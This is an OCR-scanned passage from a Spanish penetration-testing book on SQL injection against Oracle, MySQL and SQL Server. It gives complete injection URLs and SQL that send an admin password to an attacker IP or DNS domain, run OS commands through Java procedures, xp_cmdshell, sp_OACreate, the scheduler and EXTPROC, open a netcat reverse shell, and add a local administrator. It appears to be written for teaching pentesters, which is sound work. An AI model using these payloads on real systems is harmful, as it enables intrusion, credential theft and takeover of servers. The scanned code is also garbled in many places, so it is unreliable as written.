En definitiva, el atacante puede evaluar condiciones de forma sencilla y rapida. Un programa que
en el apartado anterior habia requerido el uso de las lentas técnicas de Time Based SQL Injection,
al intentar gestionar los errores, se ha convertido en una presa mas facil cuya vulnerabilidad se
puede explotar con mucha mayor rapidez.

Ya solo quedaria ir haciendo comprobaciones y evaluando condiciones para extraer informacion
de la base de datos mediante técnicas de Blind SQL Injection.

11. Aprovechando canales alternativos

Ciertamente, las técnicas mostradas en los epigrafes anteriores permiten obtener tanto informacion
de la base de datos como contenidos de ficheros. Pero lo hace a cambio de tener que pagar lo que
para un pentester puede ser un alto precio: realizar numerosas peticiones al servidor, una tarea
repetitiva y que, con toda seguridad, dejara sus rastros en los logs del servidor.

Por esta razén, antes de emplearse a fondo con ataques de SOL Injection, es conveniente
considerar si no existen otras alternativas mas rapidas y sigilosas. Y es que hay ocasiones en que
es posible establecer canales alternativos, ajenos a la aplicacion, para la comunicacion de datos.

El paquete UTL_HTTP de ORACLE, que permite realizar accesos a un servidor web, es un
ejemplo de ello. Supongase que el atacante controla un servidor web. O, que, simplemente, utiliza
netcat para abrir un puerto de escucha en un equipo que controla:

E\Users\Atacante\Desktop>nc -1-p 9999

...y a continuacion inyecta codigo SQL que realiza una llamada a la funcion
UTL HTTP.REQUEST con una URL en la que constra la contrasefia del usuario admin:

http://webserverl/pruebas/producto.php?id=1 or
'a'=UTL_HTTP.REQUEST{(
'http://192.168.56.103:9999/PASSWORD='||
(select contrasena from almacen.usuarios where nombre='admin')

)
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Solo unos instantes después, su equipo recibira la peticién HTTP:

C:\Users\Atacante\Desktop>nc -I -p 9999 -
GET /PASSWD=passadmin HTTP/] .1

Host: 192.168.56.103:9999 3
Connection: close

Otra forma habitual de establecer canales alternativos es utilizar consultas a servidores de DN§
controlados por el atacante. Para ello se puede usar una URL similar a la siguiente:

http:ffwebserverlfpruebasfproducto.php?id= (select utl_inaddr.get_host_address( contraseng
[|'atacante.example.com') from almacen.usuarios where nombre="admin')

El atacante sélo necesitaria monitorizar las peticiones DNS realizadas a sus servidores de nombreg

para conocer los datos,

Sin embargo, la configuracién por defecto de ORACLE establece limitaciones al uso de estas
funciones. Menos mal que hay otras, como DBMS_LDAP.INIT, que pueden ser utilizadas por la
préctica totalidad de los usuarios Y que, como la anterior, requiere de la resolucion de nombres:

http:f/webserverI/pruebas/producto.php?id=case
when (select DBMS_LDAP.INIT{contrasena |['.atacante.example.com',i‘l69) from dual) is null
then [ else 2 end

En el proximo capitulo se mostraran otros métodos para establecer la comunicacion con el atacante
sin depender de las salidas de la aplicacion.
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Capitulo IV
Objetivos Llamativos

Llegar a leer la informacién almacenada en una base de datos puede resultar, por si solo, un exito
para el atacante. Incluso, en muchas ocasiones, es posible que sea su principal objetivo. Pero si se
desea determinar el verdadero alcance, las verdaderas repercusiones, de una vulnerabilidad hay
que ir mas alla.

;Se podra comprometer otras componentes instaladas en el servidor de bases de datos? ;Quiza
ejecutar programas en ¢12 ;O utilizarlo como cabeza de puente para acceder a otras maquinas a las
que no se tiene acceso directo?

Para llegar a ese punto en el que, de ser un atacante malicioso, se estaria en condiciones de
producir un dano relevante a la organizacion objeto de estudio, el pentester posiblemente tenga que
ir conjugando distintas vulnerabilidades, ganando progresivamente terreno, ampliando, paso a
paso, el ambito de cuanto controla. Y, para ello, debera aprovechar al maximo las oportunidades
que se le vayan presentando.

En los siguientes epigrafes se (ratara acerca de como ejecutar programas, leer y escribir ficheros y
obtener los datos de las cuentas de acceso a las bases de datos en entornos con motores SQL
Server, MySQL y ORACLE. En lo que respecta a PostgreSQL, se remite al lector a lo ya expuesto
en el capitulo L.

1. Ejecutando programas

Ejecutar programas aprovechando una vulnerabilidad de tipo SQL Injection no €s algo que resulte
precisamente facil. Mas bien todo lo contrario. Aun siendo tedricamente posible, siempre surgen
impedimentos practicos, tales como que sea necesario disponer de ciertos privilegios, o que algun
paquete esté instalado, o algin servicio habilitado. Sin embargo, una vez s¢ consigue, los efectos
pueden ser espectaculares.

En el Capitulo | se trataron los aspectos técnicos relacionados con PosigreSQL. Es el turno ahora
de otros sistemas gestores de bases de datos, como ORACLE, MySQL o SOL Server.
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1.1.ORACLE

Los gestores de bases de datos son sistemas muy complejos, con una inmensa diversidad de
funciones, caracteristicas y aplicaciones. No se trata solo de almacenar informacion, sino también

de optimizar su organizacion, hacer posible su proceso y de proporcionar interfaces que permitan

su aprovechamiento, tanto de forma directa e interactiva como a través de aplicaciones. Todo ello
a la vez que se trata de conseguir un adecuado nivel de seguridad.

Pero, como dice el refran, "a rio revuelto, ganancia de pescadores". La complejidad suele ser
buena aliada para el pentester ya que, aunque pueda exigirle disponer de un amplio repertorio de
conocimientos en los mds variados temas, también suele ser causa de errores entre desarrolladores
y administradores de sistemas. Errores de los que sacar partido.

Y también porque siempre habrd mas de una forma de conseguir un mismo objetivo. Cuantas mas
caracteristicas tenga el objetivo de las pruebas, més cosas se podran probar.

Este epigrafe, referido a ORACLE, va a ser claro ejemplo de ello. Para empezar, si la version
instalada dispone de soporte para Java, se puede utilizar este lenguaje de programacion para
realizar todo tipo de tareas y, en particular, para definir una funcion que permita lanzar un
programa:

create or replace and compile java source named "Prueba" as
import java.io.*;

public class Prueba {
public static String ejecutar(String comando) throws I0Exception |
Runtime.getRuntime () .exec (comando) ;
return "OK";

}

... para después definir una funcion en ORACLE que haga uso de ella:

create or replace function jejecutar(cmdo in varchar2) return varchar?
as

language java name 'Prueba.ejecutar(java.lang.String) return
java.lang.String';

/

_

Pero esto plantea un nuevo problema. El uso de instrucciones de definicion de datos hace

necesario utilizar consultas apiladas y ORACLE no soporta esta caracteristica en su lenguaje SQL:

S5QL> select 1 from dual; insert into usuarios values ("nombre',
'passwd');
select 1 from dual; insert intc usuarios wvalues ('nombre’', 'passwd')
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ERROR at line 1:
ORA-00911: invalid character

En este caso, podria decirse que mas que un separador, el punto y coma es un terminador tras el
que no debe figurar nada. Ni siquiera un comentario:

SQL> select 1 from dual; -- Comentario
2 ;
select 1 from dual; -- Comentario

*

ERROR at line 1:
CRA-00911: inwalid character

SQL> select 1 from dual -- Comentario;

En todo caso, si existe una construccioén que permite la concatenacion de instrucciones: los bloques
de codigo PL/SQL encerrados entre las palabras “BEGIN™ y “END”,

Obsérvese la segunda entrada de comandos en el siguiente ejemplo:

SQL>» select * from usuarios;

NOMBRE PASSWD

prueba prueba

SQL> execute begin delete from usuarios; insert into usuarios
values ('usuariol’',

'passl'); end;

PL/SQL procedure successfully completed.

S5QL> select * from usuarios;

NOMBRE PASSWD

usuariol passl

La palabra “execute” con la que comienza la linea sirve para forzar la ejecucion inmediata del
bloque de codigo y no debe ser incluida en las peticiones realizadas desde aplicaciones web.
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Parece, por tanto, que cuando la aplicacion usa una Base de Datos ORACLE. sélo sera posible
inyectar sentencias apiladas en aquellas aplicaciones vulnerables que hagan uso de bloques de
instrucciones PL/SQL. Sin embargo, no siempre ocurre asi.

Hay.ocasioncs en que se encuentran vulnerabilidades de tipo SQL Injection en las propias
funciones de ORACLE, lo que facilita enormemente la tarea. Lo habitual en estas circunstancias eg
que, una vez estos problemas son dados a conocer, ORACLE los corrija mediante parches de
seguridad y que ya no se den en los siguientes lanzamientos de la base de datos.

Es, por tanto, necesario buscar una funcién que, por su propio diseiio, permita la ejecucién de
sentencias SOL. Y en la version 11g de este gestor de bases de datos se puede encontrar una:
SYS.KUPPSPROC.CREATE_MASTER PROCESS. .

S5QL> select* from usuarios:;

NOMBRE PASSWD

usuariol passl

.SQL} se%ect sys.kupp$proc.create master process('delete from usuarios;
insert into usuarios values (''abc'',''cde'');commit;: ') from dual;
r

gziLSUPPSPROC.CRERTE_MASTER_PROCESS('DELETEFROMUSUARIOS;INSERTINTOUSURRIO
! ES

65574

SQL> -- Comprobar que los cambios se han producido
SQL> select* from usuarios;

NOMBRE PASSWD

Utilizando esta funcion puede realizarse una peticién como la siguiente, en la que se han afiadido
retornos de carro y espacios adicionales con objeto de facilitar la lectura:

http://webserverl/pruebas/producto.php?id=
sys.kuppSproc.create_master process(
'execute immediate "create or replace and compile java source named "Prueba"
as import java.io.*;
public class Prueba {
public static String ejecutar(String comando) 1
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throws IOException {
Runtime.getRuntime().exec(comando);return "OK";

}
1%
execute immediate "create or replace function ejecutar(cmdo in varchar2)
return varchar2 as language java
name ""Prueba.ejecutar(java.lang.String)

"

return java.lang.String"";

mr
2

Notese como es necesario usar EXECUTE IMMEDIATE para invocar las instrucciones de
definicion de las funciones. También es llamativo el uso de cuatro comillas simples en lugar de

una en:

name ""Prueba.ejecutar(java.lang.String)

",

return java.lang.String™";

Téngase en cuenta que, para incluir una comilla simple dentro de una cadena, es necesario poner
dos comillas simples. En este caso, se estd insertando una comilla en una cadena dentro de otra

cadena. De ahi que sea preciso 2 x 2 = 4 comillas.

Una vez definida la funcién, ya deberia ser posible invocarla. Pero si se intenta ejecutar en el
intérprete de PL/SQL se puede obtener el siguiente mensaje de error:

SQL> select ejecutar('emd /c dir>c:\prueba'prueba.txt') from dual;
select ejecutar('cmd /¢ dir=c:\prueba'\prueba.txt') from dual
&

ERROR en linea 1:

ORA-29532: llamada Java terminada por una excepcion Java no resuelta:

java.security. AccessControlException: the Permission (java.io.FilePermission

<<ALL FILES>> execute) has not been granted to SYSTEM. The PL/SQL to grant this

is dbms_java.grant_permission( 'SYSTEM', 'SYS:java.io.FilePermission', '<<ALL FILES>>

| 'execute' )

Este es una de esas situaciones en que el atacante lo tendra tanto més facil cuanto mas
caracteristicas de ORACLE utilice la aplicacion. Si ésta emplea funciones de Java para ejecutar
comandos, la cuenta con la que se conecta a la base de datos posiblemente ya contara con estos
-privilegios y no sera necesario realizar ningin paso adicional antes de comenzar a lanzar

aplicaciones.

Pero si se careciera de estos permisos, siempre se¢ puede intentar auto-asignarlos mediante la
llamada al procedimiento dbms_java.gran_permision, tal y como se indicaba en el aviso anterior.
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http://webserverl/pruebas/producto.php?id=sys.kupp$proc.create_master process(
‘execute immediate "declare pragma autonomous_transaction;
begin
dbms_java.grant_permission( ""'SYSTEM"",
""SYS:java.io.FilePermission",
"<<ALL FILES>>"",

"execute

(U

)

... Yy ya se estaria en condiciones de ejecutar aplicaciones mediante la funcién creada.

Supdngase que el motor de bases de datos se ejecuta en una mdquina con sistema operativo
Microsoft Windows y que el atacante controla un equipo cuya direccion IP es 192.168.56.103.
Entonces podria compartir en éste una carpeta, datos, sin necesidad de contraseiia ni restriccion de
cuenta alguna y ejecutar un comando que copie al servidor de bases de datos los programas que
necesite. Por ejemplo, netcat:

http://webserverl/pruebas/producto.php?id=l and 'OK' = ejecutar(cmd /c  copy
\192.168.56.103\datos\nc.exe ¢:\prueba'nc.exe')

... para después abrir un puerto de escucha en su maquina:

C:\Usershatacante\Desktop=>nc -1 -p 9000 j

... ¥y terminar realizando una nueva peticion HTTP que obligue al servidor a conectar al puerto
recién abierto y ofrecerle un intérprete de comandos:

http://webserver/pruebas/producto.php?id=1 and 'OK' = ejecutar('c:\prueba\nc.exe -e cmd
atacante 9000")

El resultado serd que el atacante recibira una shell remota que le permitira interactuar con el
servidor de bases de datos. En este caso, la cuenta con la que se accede tiene privilegios suficientes
para crear un usuario y afiadirlo al grupo local de administradores del equipo:

C:\Users\enrique'\Desktop=nc -1 -p 9000
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos.
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C:\app‘Administradoriproduct\l 1.2.0\dbhome_1'"DATABASE=>net user usuariol Contrasenal
/add

net user usuariol Contrasenal /add

Se ha completado el comando correctamente.

C:\app\Administradorproduct\11.2.0\dbhome_I'"DATABASE>net localgroup Administradores
Jadd usuariol

net localgroup Administradores /add usuariol

Se ha completado el comando correctamente.

C:\app‘\Administrador\product\1 1.2.0\dbhome 1'DATABASE>net localgroup Administradores
net localgroup Administradores

Nombre de alias ~ Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o
dominio

Miembros

Administrador
usuariol
Se ha completado el comando correctamente.

C:\app\Administradoriproduct\1 1.2.0\dbhome I'DATABASE>

El principal problema practico de la funcion SYS.KUPPSPROC.CREATE_MASTER_PROCESS
es que para usarla se necesita contar con privilegios de DBA. Pero siempre habra formas de
conseguir una elevacion de privilegios.

El siguiente ejemplo ilustra una de las mas habituales, que saca ventaja del hecho de que ORACLE
ejecuta las funciones con los privilegios de su propietario, no con los de quien las invoca.
Supéngase que existe una cuenta llamada sinprivilegios a la que solo se le permite conectarse a la
base de datos. En este escenario, el usuario SYS crea una funcion que presenta una vulnerabilidad
de SQL Injection y hace que el usuario pueda ejecutarla:

SQL> conn sys/dba as sysdba
Conectado.

‘| SQL> grant connect to sinprivilegios identified by 123;

Concesi%n terminada correctamente.

SQL> create or replace function buscanombre(a in varcharZ) return
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varchar2 as
2 resultado varchar2 (10);

3 Dbegin

4 execute immediate 'select nombre from almacen.productos where
referencia
= '""" || a ||l """ into resultado ;

5 return resultado;

6 end;

7/

Funci#4n creada.

SQL> grant execute on buscancmbre to public;
Concesi¥*n terminada correctamente.

SQL> —-- Ver contenido de la tabla almacen.usuarios

5QL> -- Para comprobar después si ha sido medificada
SQL> select nombre,contrasena from almacen.usuarlios;

NOMBRE CONTRASENA
admin passadmin
usuariol passwordl
usuario? password?Z
leet pE55wlrd

La funcion buscanombre pertenece a SYS y, por tanto, se ejecutara con los privilegios de esta
cuenta. El usuario sinprivilegios puede aprovechar esto para inyectar codigo que, en principio, no
deberia estar autorizado a ejecutar:

S5QL> connect sinprivilegios/123;

Conectado.

S5QL> -- Hacer una llamada a SYS.BUSCANOMBRE que explote su vulnerabilidad
SQL> -- para invocar a SYS.KUPPSPRCC.CREATE MASTER PROCESS

SQL> -- y asi ejecutar comandos SQL como SYS

SQL> select sys.buscanombre('Bbc'' or
1=sys.kupp$proc.create_master_process{"de

lete from almacen.usuarios; insert into almacen.usuarios
Values(lf'”'U]."";"'

Iplllll"lll!llll'); commlt:ll) or T!lll’zltr) from dual;

SYS5.BUSCANOMBRE ('ABC' 'OR1=5YS.KUPPSPROC.CREATE MASTER PROCESS (''DELETEFRO
MALMACE

L9 ]
L7
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sQL> -- Ver con qué cuenta se ejecuta el cédigo
SQL> select sys.buscanombre('Abc'' union select username from user_users
where '

v1'!'="11"') from dual;

§YS.BUSCANOMERE ( 'ABC' 'UNIONSELECTUSERNAMEFROMUSER USERSWHERE''l''='"'1")
SYS

SQL>

Si el usuario SYS comprobara ahora el contenido de la table almacen.usuarios, posiblemente se
llevaria una sorpresa:

SQL> select nombre,contrasena from almacen.usuarios;

NOMBRE CONTRASENA

Por supuesto, esta técnica también podria ser utilizada a través de una aplicacion web;

http://webserverl/pruebas/producto.php?id=1 and 'OK' = sys.buscanombre('Abc" or
I=sys.kupp$proc.create_master_process("delete ~ from  almacen.usuarios;  insert  into
almacen.usuarios values(1,"'ul"",""p1"","""); commit;") or "1"="")

. con lo que se estarian aprovechando dos vulnerabilidades de SQL [njection: una en la
aplicacion y otra en la funcion.

No siempre es necesario que el usuario SYS, u otro con los privilegios deseados, haya creado una
funcién vulnerable y otorgado permisos. De vez en cuando se publican problemas de seguridad en
algunas de las funciones intrinsecas de ORACLE (aquellas que vienen “de fabrica™) y, aunque lo
normal es que sean corregidas mediante parches o nuevas versiones, no es raro encontrar equipos
sin actualizar.

Por otro lado, hay ocasiones en que no es tan complicado realizar la inyeccion de cddigo SQL.
Considérese el siguiente script, “oracle.php™:

<?php
2 require 'adodb/adodb.inc.php’;
3 $db = ADONewConnection('oci8');
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4 $db->Connect('192.168.56.103, 'system’, 'ASDasd 123, 'XE');
5
6 $resultados = $db->GetAll('select count(*) as PVALOR from test');
7 foreach ($resultados as $fila) {
8 print "Num de registros ". $fila['"PVALOR"] ."<br>";
9 }
10
11 $sql = "begin insert into test values (" . $_GET["ins"] . "); end:";
12 $rs = $db->Execute($sql);
13
14 $resultados = $db->GetAll('select count(*) as PVALOR from test');
15 foreach ($resultados as $fila) {
16 print "Num de registros ". $fila['PVALOR"] ."<br>";
17 }
18| 7>

n
n
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sQL>
sgQL> -- Ahora lo ejecutamos
sQL> exec dbms_scheduler.run job('Trabajo', TRUE);

procedimiento PL/SQL terminado correctamente.

SQL> —-- Y finalmente lo borramos
SQL> exec dbms scheduler.drop job('Trabajo');

Procedimiento PL/SQL terminado correctamente.

SQL>

Para que esta técnica funcione es necesario que se esté ejecutando el Planificador de Tareas de la
instancia de la base de datos. Y posiblemente lo esté si el administrador del sistema necesita de
esta funcionalidad. En sistemas Windows, esta componente serd un servicio cuyo nombre
comenzara por OracleJobScheduler y terminara con el SID de la instancia del ORACLE.

Aprovechando la vulnerabilidad presente en el script oracle.php, se puede componer una URL
como la siguiente:

En la linea 11 puede apreciarse que el parametro GET “ins™ es vulnerable a ataques de tipo SQL
Injection.

‘ $sql = "begin insert into test values (" . S_GET["ins"]."); end;"; |

-+ ¥, puesto que el punto de entrada se encuentra dentro de un bloque PL/SQL, entre un begin y un
end, se pueden insertar instrucciones completas.

Volviendo al tema de la ejecucion de comandos en el sistema operativo, el uso de funciones de
Java no es el inico método disponible en ORACLE. Existen otros, como el planificador de tareas
que Incorpora este motor de bases de datos.

El siguiente cuadro muestra su uso en una sesién interactiva de PL/SQL:

SQL> -- Creamos un trabajo en el SCHEDULER de tipo EXECUTABLE

SQL> exec
dbms_scheduler.create_job(job_name=>'Trabajo',job_type=>'EXECUTABLE',
job_action=>'c:\windows\system32\cmd.exe /c set > c:\prueba\sch.txt')

r

Procedimiento PL/SQL terminadc correctamente.

http://webserverl/pruebas/oracle.php?ins=a');dbms_scheduler.create_job(job name=>'Trabajo"job
_type==>'EXECUTABLE'job_action=>'c:\windows\system32icmd.exe /e set >
c:\prueba'sch.txt');dbms_scheduler.run_job('Trabajo’,
TRUE);dbms_scheduler.drop_job('Trabajo');end;--

Hay muchas otras maneras de conseguir el mismo resultado. La ultima que se mostrara en este
epigrafe utiliza la funcionalidad denominada EXTPROC, que permite hacer uso de procedimientos
externos a la base de datos, implementados en forma de librerias DLL.

A partir de la version 9i de ORACLE, este sistema gestor de bases de datos solo permite utilizar
librerias DLL alojadas en el subdirectorio bin del directorio designado como ORACLE HOME.
La ruta completa puede ser obtenida mediante una consulta a la tabla DBA LIBRARIES que trate
de localizar alguna de las librerias alli alojadas:

SQL> select file spec from dba libraries where library name =
'DBMS SUMADV LIB';

FILE SPEC
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Una vez extraido este valor mediante técnicas de SQL Injection, el atacante necesita que este
directorio exista una libreria que permita la ejecucion de comandos. En el caso de la instalacion de
ORACLE realizada para estas pruebas, se pudo comprobar la presencia del fichero msver80.dil, 1a
libreria de tiempo de ejecucion de C, que sirve para estos propésitos. Y si no existiera ninguna, al
atacante siempre le queda el recurso de intentar crearla utilizando las técnicas de escritura de
ficheros que se mostraran mas adelante.

Una vez cuente con la libreria apropiada, se debe crear un objeto de tipo /ibrary para referenciarla:

SQL> create or replace library 1ib_ejecutar as
'C:\app\Administrador\product\11.2.0\dbhome 1\bin\msvecrg80.dll';
2/

Biblioteca creada.

... y después definir un procedimiento que haga uso de la libreria.

SQL> create or replace procedure prueba exec(cmdstring IN CHAR) is
external NAME

"system"library lib ejecutar LANGUAGE C;

v

Procedimiento creado.

... y ya serfa posible la ejecucion de comandos:

SQL> exec prueba_exec('whoami>c:\prueba\whoami.txt');

Procedimiento PL/SQL terminado correctamente.

En el caso de una aplicacion web, se podria realizar una peticion a la aplicacion para definir el
procedimiento:

http://webserverl/pruebas/oracle.php?ins=a');execute immediate 'create or replace library

lib_ejecutar as

"C:\app\Administrador\product\1 1.2.0\dbhome 1\bin\msver80.dlI";execute immediate 'create or
replace procedure prueba_exec(cmdstring IN CHAR) is external NAME "system" library
lib_ejecutar LANGUAGE C;";end;--

... para después utilizarla en subsecuentes accesos. Quiza el atacante desee determinar con qué
cuenta se estan lanzando los programas:

http://webserverl/pruebas/oracle.php?ins=a');
prueba_exec('whoami>\192.168.56.103\datos\whoami.txt');end;--

Y
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Donde 192.168.56.103 es la direccion IP de una maquina controlada por el atacante y en la que ha
compartido una carpeta, datos. Habra ocasiones en que se llevara una grata sorpresa:

B whoami - Blocdenotas -10] x|
Archivo Edicdén Formato Ver Ayuda

ht authority\system &
4 Y 4

Fig 4.1: SYSTEM

1.2.MySQL

En el capitulo I se mostré como las funciones definidas por el usuario (UDF - User Defined
Function) permiten la ejecucion de programas en motores de bases de datos PostgreSOL.

Con MySQOL ocurre lo mismo, tal y como mostré Marco Ivaldi, alias Raptor, con uno de sus
exploits, que funciona con las versiones de la base de datos previas a la 5 y que puede descargarse
de: http.//www.Oxdeadbeef.info/exploits/raptor_udf2.c

El formato que deben seguir las librerias de UDF fue modificado en MySQL 5, haciendo preciso el
desarrollo de nuevas funciones que sustituyeran a la anterior. Tarea que acometié Roland Bouman
con lib_mysqludf sys: http://www.mysqludf.org/lib_mysqludf sys/index.php

Posteriormente, Bernardo Damele introduciria cambios en esta libreria para dotarla de funciones
con que obtener la salida estindar de los comandos. El resultado puede consultarse en la URL
anterior 'y, ademds, estd publicada en el repositorio de subersion de “sqlmap”
(https://svn.sqlmap.org/sqlmap/trunk/sqlmapl), dentro de la subcarpeta “extra/udfhack™.

Estas librerias deben ser compiladas para la misma arquitectura y el mismo sistema operativo que
tenga el servidor de bases de datos objeto de estudio, para posteriormente copiarlas en un
directorio o una carpeta que la version de MySQOL usada acepte.

Y aqui es donde realmente la tarea se complica, puesto que no sélo MySQL es cada vez mas
restrictivo al respecto (actualmente, las librerias deben alojarse en una ruta especifica, dada por el
valor de la variable plugin_dir), sino que también es probable que no se cuente con los permisos
necesarios para crear estos ficheros. Si, a pesar de todo, se consigue el objetivo, y si el entorno en
que funciona la aplicacion vulnerable permite la ejecucion de consultas apiladas (cosa que, como
S¢ verd, no siempre ocurre), se podrd crear cada funcién inyectando cédigo SOL similar al
Siguiente:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf sys.so'; —‘
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... y a partir de ese momento se podria utilizar la funcién en las consultas SELECT:

, select sys_eval('nslookup atacante.example.com') ’

1.3.SQL SERVER

En la bibliografia sobre SQL Injection, cuando se describe cémo ejecutar programas en entornos
SQL Server, inmediatamente aparece el procedimiento almacenado extendido xp_cemdshell. Su uso

es muy sencillo: se le pasa como pardmetro una cadena con el comando a ejecutar vy,
xp_cmdshell se encarga del resto:

‘ exec xp_cmdshell 'dir > c:\prueba\l .txt' I

++- pero no todo iba a ser tan ficil. Por defecto, este comando estd deshabilitado, con lo que
cualquier intento de usarlo se encontrarfa con un error. Incluso si se dispone de los privilegios
necesarios para usarlo:

Mens 15281, Nivel 16, Estado 1, Procedimiento xp_cmdshell, Linea 1

SQL Server bloqueé el acceso a procedimiento 'sys.xp_cmdshell' del componente 'xp_cmdshell'
porque este componente esta desactivado como parte de la configuracion de seguridad de este
servidor. Un administrador del sistema puede habilitar el uso de 'xp_cmdshell' mediante
sp_configure. Para obtener mas informacion acerca de cémo habilitar 'xp_cmdshell', vea el tema
sobre la configuracion de drea expuesta en los Libros en pantalla de SQL Server.

En caso de que xp_cmdshell se encuentre desactivado, se puede aprovechar la vulnerabilidad ante
SOL Injection para intentar habilitarlo. Como indicaba el mensaje anterior, hay que utilizar
sp_configure:

http://webserverl/pruebas/producto.php?id=1;
exec sp_configure 'show advanced options', 1;
reconfigure;

exec sp_configure 'xp_cmdshell’, 1;
reconfigure:

Las invocaciones a reconfigure son necesarias para que los cambios introducidos surtan efecto.

Supongase ahora que en el servidor de bases de datos estd operativo un servicio de publicacion
web, y que éste proporciona acceso al contenido de una carpeta llamada femp en la que es posible
crear ficheros. Una URL como la siguiente provocaria la revelacion del codigo fuente del script
listado.aspx:

http://webserver3/pruebas/producto.php?id=1; exec xp_cmdshell 'copy
c:\inetpub\wwwroot\listado.aspx c:\inetpub\wwwroot\temp\listado.txt'
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Y ya solo quedaria visualizar el documento creado:

| http://webserver3/temp/listado.txt |

=8}
ﬁ% .\;;: http:/ /webserver3/temp ||-_rf|.Jc-_|:-:.___p d “E_‘:_X_—” & webserver3 > | y |
<% @BPage Language="VB" debug="true" %> I‘
<% @Import Namespace = "System.Data" %>
<% [@Import Namespace = "MySgl.Data.MySglcClient" %> =
<script language="VB" runat="server">
' Ejecutar al cargar la pagina
Sub Page_Load )
If Request.QueryString.Get ("id") < "" then
Dim caorexion as MySglConnection
conexswft = new MySglConnection(
' ~168.5
- TR

Fig 4.2: Cadigo fuente

A pesar de su posiblemente bien merecida fama, xp_cmdshell no es la unica forma de t.ej‘ecutar
programas. Quien haya programado en entornos Windows posiblemente sepa ya de la utilidad y
potencia de los objetos ActiveX. Gracias a ellos se dispone de interfaces con el sistema de ficheros,
opciones de envio de correos, manejo de los personajes asistentes de Microsoft Office, ...

... Y también de la posibilidad de ejecutar comandos en el sistema operativo, tipicamente
mediante la clase WScripr.Shell y su método Run.

SOL Server dispone de una serie de procedimientos almacenados que permiten la automatizacion
de estos objetos. Asi, sp_OACreate permite su creacion y sp_OAMethod la invocacion de sus
métodos. Con ellos se puede crear la siguiente secuencia de comandos SQL:

DECLARE @comando varchar(1024), @hr int, Gobjeto int;
set @comando = 'cmd /c dir > \\atacante\recurso\dir.txt'
exec @Bhr = sp OACreate 'Wscript.Shell', Gobjeto QUT;
exec sp OAMethod @objeto, 'RUN', NULL, @comando;

... que ejecuta un intérprete de comandos CMD con el que se invoca la instruccion DIR y se
almacena su salida en un fichero de nombre “dir.xr” alojado en un recurso compartido por la
mdquina del atacante,

Pero es posible que, al intentar ejecutar este codigo se produzca en error cuya descripcion, de
poder tener acceso a ella, seria similar a:
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Mens 15281, Nivel 16, Estado 1, Procedimiento sp_ OACreate, Linea 1

SQL Server bloqued el acceso a procedimiento 'sys.sp_ OACreate' del componente 'Ole
Automation Procedures' porque este componente estd desactivado como parte de Ia
configuracion de seguridad de este servidor. Un administrador del sistema puede habilitar el uso
de 'Ole Automation Procedures' mediante sp_configure. Para obtener mas informacion acerca de
como habilitar 'Ole Automation Procedures', vea el tema sobre la configuracion de area expuesta
en los Libros en pantalla de SQL Server.

No todo estd perdido. El propio mensaje indica que es necesario habilitar la opcion 'Ole
Automation Procedures'utilizando el proceimiento sp_configure.

La siguiente URL haria todo el trabajo, siempre y cuando la cuenta usada por la aplicacion para
acceder a la base de datos tuviera los privilegios suficientes:

http://webserver1/pruebas/producto.php?id=1;
exec sp_configure 'show advanced options', 1;
reconfigure;

exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;

Ahora si se podran ejecutar comandos en el servidor de bases de datos:

http://webserverl/pruebas/producto.php?id=1;

DECLARE @comando varchar(1024), @hr int, @objeto int;
set (@comando = 'cmd /c set > \\atacante\recurso\dir.txt';
exec @hr =sp OACreate "Wscript.Shell', @objeto OUT;
exec sp_ OAMethod @objeto, 'RUN', NULL, (@comando;

Si se ejecuta un comando SET, el atacante se encontrara con algo similar a la imagen de la pagina
siguiente.

Obligar al servidor de bases de datos a acceder a recursos de otros equipos puede ser interesante
por otra razon: en el proceso de autenticacion se producira un intercambio de informacion del cual
se podra extraer hashes NTLM correspondientes a la contrasefia de la cuenta con que se intenta el
acceso. El atacante podria obtenerlos monitorizando el trafico de red para posteriormente intentar
descifrarlos.

Tras leer los parrafos anteriores, habra quien esté pensando en utilizar también objetos ActiveX de
tipo InternetExplorer.Application para crear conexiones hacia el exterior. Cuando la alternativa
consiste en utilizar técnicas de Blind SOL Injection, estas conexiones permiten realizar de forma
mas eficiente las transferencias de informacion, llevandolas a cabo al margen de la aplicacion.
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{8 dir - Bloc de notas
Archivo Edidén Formato Ver Ayuda

ALLUSERSPROFILE=C:\ProgramData a
APPDATA=C : \Windows\ServiceProfiles\Networkseryvice\AppbData\Roaming
CommonProgramrFiles=C:\Program Files\Common Files
COMPUTERNAME=WIN-M7UZ87S7H40

ComSpec=C:\Windows\system32\cmd. exe

FP_NO_HOST_CHECK=NO

LOCALAPPDATA=C : \Windows\Serviceprofiles\Networkservice\appData\Lo
NUMBER_OF _PROCESSORS=1

0S=Wwindows_NT
Path=C:‘\oraclexe\app\oracle\product’ll.2.0\server\bin;;C:\windows
PATHEXT=.COM; . EXE; . BAT; .CMD; . VBS; . VBE; . J5; . JSE; . WSF; . WSH; . MSC
PROCESSOR_ARCHITECTURE=X86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 stepping 11, GenuinelIn
PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0T0b

Programpata=C:\Programbata

ProgramrFiles=C:\Program Files|

PROMPT=3P3G

PUBLIC=C:‘\Users\Public

SystemDrive=C:

SystemRoot=C : \Windows

TEMP=C : \Windows\SERVIC~2\NETWOR~1\AppData‘\Local\Temp

TMP=C : \Windows\SERVIC~2\NETWOR~1\AppData'\Local\Temp
USERDOMAIN=WORKGROUP

USERNAME=WIN-M7UZB87S7H408%
USERPROFILE=C:‘Windows‘\ServiceProfiles\Networkservice -
windir=C:\windows

[ EResue »

Fig 4.3: SET

=10l x|

b 4

Pero cuando se intenta instanciar uno de estos objetos se obtiene, con las configuraciones por
defecto, un error de “acceso denegado™.

En todo caso, si se pueden ejecutar comandos, siempre sera posible lanzar un navegador web y
hacerle visitar una URL. Al atacante le bastara con abrir un puerto de escucha en su equipo:

| C:\Users\Atacante\Desktop>nc -1 -p 9999 ]

... y realizar una inyeccion de SOL que ponga en marcha su plan:

http://webserverl/pruebas/estadistica.php?id=1&cantidad=1) ;
DECLARE @comando varchar(1024);
set @comando =" "c:\Program Files\Internet Exploreriiexplore.exe" ';
set @comando = @comando %2b ' http://192.168.56.103:9999/?2PWD=",
set @comando = (@comando %?2b (select contrasena from almacen.usuarios where nombre =
'admin');
exec xp_cmdshell @comando;--

... donde se supone que 192.168.56.103 es la direccion IP de la maquina del atacante. Recuérdese
